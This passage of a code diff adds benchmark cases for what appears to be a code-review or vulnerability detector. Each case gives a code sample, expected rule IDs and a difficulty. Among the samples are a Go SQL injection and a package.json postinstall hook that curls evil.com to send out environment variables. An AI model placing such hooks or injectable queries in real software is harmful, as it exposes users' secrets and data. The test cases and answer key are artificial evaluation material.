|
+
term := r.URL.Query().Get("q")
|
|
651
|
+
query := fmt.Sprintf("SELECT * FROM products WHERE name LIKE '%%%s%%'", term)
|
|
652
|
+
rows, err := db.Query(query)
|
|
653
|
+
if err != nil {
|
|
654
|
+
http.Error(w, err.Error(), 500)
|
|
655
|
+
return
|
|
656
|
+
}
|
|
657
|
+
defer rows.Close()
|
|
658
|
+
// process rows...
|
|
659
|
+
}`,
|
|
660
|
+
expectedRuleIds: ["CYBER-001", "SEC-001", "DB-001"],
|
|
661
|
+
acceptablePrefixes: ["AUTH"],
|
|
662
|
+
category: "injection",
|
|
663
|
+
difficulty: "easy",
|
|
664
|
+
},
|
|
665
|
+
{
|
|
666
|
+
id: "go-context-not-propagated",
|
|
667
|
+
description: "Go HTTP handler not propagating context to downstream calls",
|
|
668
|
+
language: "go",
|
|
669
|
+
code: `package main
|
|
670
|
+
|
|
671
|
+
import (
|
|
672
|
+
"encoding/json"
|
|
673
|
+
"net/http"
|
|
674
|
+
"time"
|
|
675
|
+
)
|
|
676
|
+
|
|
677
|
+
func getUserHandler(w http.ResponseWriter, r *http.Request) {
|
|
678
|
+
id := r.URL.Query().Get("id")
|
|
679
|
+
|
|
680
|
+
// Context from request not passed to downstream calls
|
|
681
|
+
user, err := fetchUser(id)
|
|
682
|
+
if err != nil {
|
|
683
|
+
http.Error(w, "internal error", 500)
|
|
684
|
+
return
|
|
685
|
+
}
|
|
686
|
+
|
|
687
|
+
orders, err := fetchOrders(id)
|
|
688
|
+
if err != nil {
|
|
689
|
+
http.Error(w, "internal error", 500)
|
|
690
|
+
return
|
|
691
|
+
}
|
|
692
|
+
|
|
693
|
+
json.NewEncoder(w).Encode(map[string]interface{}{"user": user, "orders": orders})
|
|
694
|
+
}
|
|
695
|
+
|
|
696
|
+
func fetchUser(id string) (interface{}, error) {
|
|
697
|
+
time.Sleep(5 * time.Second) // simulates slow call
|
|
698
|
+
return nil, nil
|
|
699
|
+
}
|
|
700
|
+
|
|
701
|
+
func fetchOrders(id string) (interface{}, error) {
|
|
702
|
+
time.Sleep(5 * time.Second)
|
|
703
|
+
return nil, nil
|
|
704
|
+
}`,
|
|
705
|
+
expectedRuleIds: ["REL-001"],
|
|
706
|
+
acceptablePrefixes: ["PERF", "SCALE", "CONC"],
|
|
707
|
+
category: "reliability",
|
|
708
|
+
difficulty: "medium",
|
|
709
|
+
},
|
|
710
|
+
{
|
|
711
|
+
id: "go-error-string-comparison",
|
|
712
|
+
description: "Go code comparing errors by string instead of errors.Is/As",
|
|
713
|
+
language: "go",
|
|
714
|
+
code: `package main
|
|
715
|
+
|
|
716
|
+
import (
|
|
717
|
+
"database/sql"
|
|
718
|
+
"errors"
|
|
719
|
+
"fmt"
|
|
720
|
+
"net/http"
|
|
721
|
+
)
|
|
722
|
+
|
|
723
|
+
func getItem(w http.ResponseWriter, r *http.Request) {
|
|
724
|
+
item, err := db.QueryRow("SELECT * FROM items WHERE id = $1", r.URL.Query().Get("id"))
|
|
725
|
+
if err != nil {
|
|
726
|
+
if err.Error() == "sql: no rows in result set" {
|
|
727
|
+
http.Error(w, "not found", 404)
|
|
728
|
+
return
|
|
729
|
+
}
|
|
730
|
+
if fmt.Sprintf("%v", err) == "connection refused" {
|
|
731
|
+
http.Error(w, "service unavailable", 503)
|
|
732
|
+
return
|
|
733
|
+
}
|
|
734
|
+
http.Error(w, "internal error", 500)
|
|
735
|
+
return
|
|
736
|
+
}
|
|
737
|
+
_ = item
|
|
738
|
+
}
|
|
739
|
+
|
|
740
|
+
var _ = errors.Is // imported but not used for error checks
|
|
741
|
+
var _ = sql.ErrNoRows`,
|
|
742
|
+
expectedRuleIds: ["ERR-001", "SWDEV-001"],
|
|
743
|
+
acceptablePrefixes: ["LOGIC", "MAINT", "REL"],
|
|
744
|
+
category: "error-handling",
|
|
745
|
+
difficulty: "medium",
|
|
746
|
+
},
|
|
747
|
+
// ── Clean Go ──
|
|
748
|
+
{
|
|
749
|
+
id: "clean-go-context-propagation",
|
|
750
|
+
description: "Go handler properly propagating context with timeouts",
|
|
751
|
+
language: "go",
|
|
752
|
+
code: `package main
|
|
753
|
+
|
|
754
|
+
import (
|
|
755
|
+
"context"
|
|
756
|
+
"encoding/json"
|
|
757
|
+
"log"
|
|
758
|
+
"net/http"
|
|
759
|
+
"time"
|
|
760
|
+
)
|
|
761
|
+
|
|
762
|
+
func getUserHandler(w http.ResponseWriter, r *http.Request) {
|
|
763
|
+
ctx, cancel := context.WithTimeout(r.Context(), 5*time.Second)
|
|
764
|
+
defer cancel()
|
|
765
|
+
|
|
766
|
+
id := r.URL.Query().Get("id")
|
|
767
|
+
if id == "" {
|
|
768
|
+
http.Error(w, "id required", http.StatusBadRequest)
|
|
769
|
+
return
|
|
770
|
+
}
|
|
771
|
+
|
|
772
|
+
user, err := fetchUser(ctx, id)
|
|
773
|
+
if err != nil {
|
|
774
|
+
log.Printf("fetchUser error: %v", err)
|
|
775
|
+
http.Error(w, "internal error", http.StatusInternalServerError)
|
|
776
|
+
return
|
|
777
|
+
}
|
|
778
|
+
|
|
779
|
+
w.Header().Set("Content-Type", "application/json")
|
|
780
|
+
json.NewEncoder(w).Encode(user)
|
|
781
|
+
}
|
|
782
|
+
|
|
783
|
+
func fetchUser(ctx context.Context, id string) (map[string]string, error) {
|
|
784
|
+
row := db.QueryRowContext(ctx, "SELECT id, name, email FROM users WHERE id = $1", id)
|
|
785
|
+
var user struct{ ID, Name, Email string }
|
|
786
|
+
if err := row.Scan(&user.ID, &user.Name, &user.Email); err != nil {
|
|
787
|
+
return nil, fmt.Errorf("scan user: %w", err)
|
|
788
|
+
}
|
|
789
|
+
return map[string]string{"id": user.ID, "name": user.Name, "email": user.Email}, nil
|
|
790
|
+
}`,
|
|
791
|
+
expectedRuleIds: [],
|
|
792
|
+
category: "clean",
|
|
793
|
+
difficulty: "hard",
|
|
794
|
+
},
|
|
795
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
796
|
+
// EXPANDED THIN CATEGORIES
|
|
797
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
798
|
+
// ── Supply Chain ──
|
|
799
|
+
{
|
|
800
|
+
id: "supply-chain-postinstall-script",
|
|
801
|
+
description: "Package.json with suspicious postinstall script",
|
|
802
|
+
language: "json",
|
|
803
|
+
code: `{
|
|
804
|
+
"name": "helpful-utils",
|
|
805
|
+
"version": "1.0.0",
|
|
806
|
+
"scripts": {
|
|
807
|
+
"postinstall": "node -e \\"require('child_process').exec('curl https://evil.com/collect?data='+encodeURIComponent(JSON.stringify({cwd:process.cwd(),env:process.env})))\\"",
|
|
808
|
+
"build": "tsc"
|
|
809
|
+
},
|
|
810
|
+
"dependencies": {
|
|
811
|
+
"express": "^4.18.0"
|
|
812
|
+
}
|
|
813
|
+
}`,
|
|
814
|
+
expectedRuleIds: ["DEPS-001", "SEC-001"],
|
|
815
|
+
acceptablePrefixes: ["CYBER", "CICD"],
|
|
816
|
+
category: "supply-chain",
|
|
817
|
+
difficulty: "medium",
|
|
818
|
+
},
|
|
819
|
+
// ── Compatibility ──
|
|
820
|
+
{
|
|
821
|
+
id: "compat-api-field-type-change",
|
|
822
|
+
description: "API response changes field type from string to object (breaking)",
|
|
823
|
+
language: "typescript",
|
|
824
|
+
code: `// v1 response: { user: "john" }
|
|
825
|
+
// v2 response: { user: { name: "john", id: 123 } }
|
|
826
|
+
// No versioning, no deprecation notice
|
|
827
|
+
|
|
828
|
+
export interface UserResponseV2 {
|
|
829
|
+
user: { name: string; id: number }; // was: user: string
|
|
830
|
+
metadata: { version: 2 };
|
|
831
|
+
}
|
|
832
|
+
|
|
833
|
+
export function getUser(id: string): UserResponseV2 {
|
|
834
|
+
const user = db.findUser(id);
|
|
835
|
+
return {
|
|
836
|
+
user: { name: user.name, id: user.id },
|
|
837
|
+
metadata: { version: 2 },
|
|
838
|
+
};
|
|
839
|
+
}`,
|
|
840
|
+
expectedRuleIds: ["COMPAT-001"],
|
|
841
|
+
acceptablePrefixes: ["API", "DOC"],
|
|
842
|
+
category: "compatibility",
|
|
843
|
+
difficulty: "medium",
|
|
844
|
+
},
|
|
845
|
+
// ── Sovereignty ──
|
|
846
|
+
{
|
|
847
|
+
id: "sovereignty-analytics-third-party-transfer",
|
|
848
|
+
description: "User data sent to third-party analytics without consent or transfer safeguards",
|
|
849
|
+
language: "typescript",
|
|
850
|
+
code: `import analytics from "analytics-provider";
|
|
851
|
+
|
|
852
|
+
export function trackUserActivity(user: { id: string; email: string; country: string }) {
|
|
853
|
+
// Send full user profile to US-based analytics service
|
|
854
|
+
analytics.track({
|
|
855
|
+
userId: user.id,
|
|
856
|
+
email: user.email,
|
|
857
|
+
country: user.country,
|
|
858
|
+
properties: {
|
|
859
|
+
lastLogin: new Date().toISOString(),
|
|
860
|
+
ipAddress: getClientIP(),
|
|
861
|
+
browserFingerprint: generateFingerprint(),
|
|
862
|
+
},
|
|
863
|
+
});
|
|
864
|
+
}
|
|
865
|
+
|
|
866
|
+
export function trackPurchase(user: { id: string; email: string }, amount: number) {
|
|
867
|
+
analytics.track({
|
|
868
|
+
userId: user.id,
|
|
869
|
+
email: user.email,
|
|
870
|
+
event: "purchase",
|
|
871
|
+
properties: { amount, currency: "EUR" },
|
|
872
|
+
});
|
|
873
|
+
}`,
|
|
874
|
+
expectedRuleIds: ["SOV-001", "COMP-001", "DATA-001"],
|
|
875
|
+
acceptablePrefixes: ["LOGPRIV", "ETHICS"],
|
|
876
|
+
category: "data-sovereignty",
|
|
877
|
+
difficulty: "medium",
|
|
878
|
+
},
|
|
879
|
+
{
|
|
880
|
+
id: "sovereignty-backup-no-region-constraint",
|
|
881
|
+
description: "Database backups stored without region constraints",
|
|
882
|
+
language: "hcl",
|
|
883
|
+
code: `resource "aws_db_instance" "main" {
|
|
884
|
+
engine = "postgres"
|
|
885
|
+
instance_class = "db.r5.large"
|
|
886
|
+
allocated_storage = 100
|
|
887
|
+
storage_encrypted = true
|
|
888
|
+
|
|
889
|
+
backup_retention_period = 30
|
|
890
|
+
# No backup region constraint — backups may replicate to any AWS region
|
|
891
|
+
}
|
|
892
|
+
|
|
893
|
+
resource "aws_s3_bucket" "backups" {
|
|
894
|
+
bucket = "company-db-backups"
|
|
895
|
+
# No bucket policy restricting region
|
|
896
|
+
# No replication configuration
|
|
897
|
+
}
|
|
898
|
+
|
|
899
|
+
resource "aws_s3_bucket_versioning" "backups" {
|
|
900
|
+
bucket = aws_s3_bucket.backups.id
|
|
901
|
+
versioning_configuration {
|
|
902
|
+
status = "Enabled"
|
|
903
|
+
}
|
|
904
|
+
}`,
|
|
905
|
+
expectedRuleIds: ["SOV-001", "IAC-001"],
|
|
906
|
+
acceptablePrefixes: ["DATA", "COMP", "CLOUD"],
|
|
907
|
+
category: "data-sovereignty",
|
|
908
|
+
difficulty: "hard",
|
|
909
|
+
},
|
|
910
|
+
];
|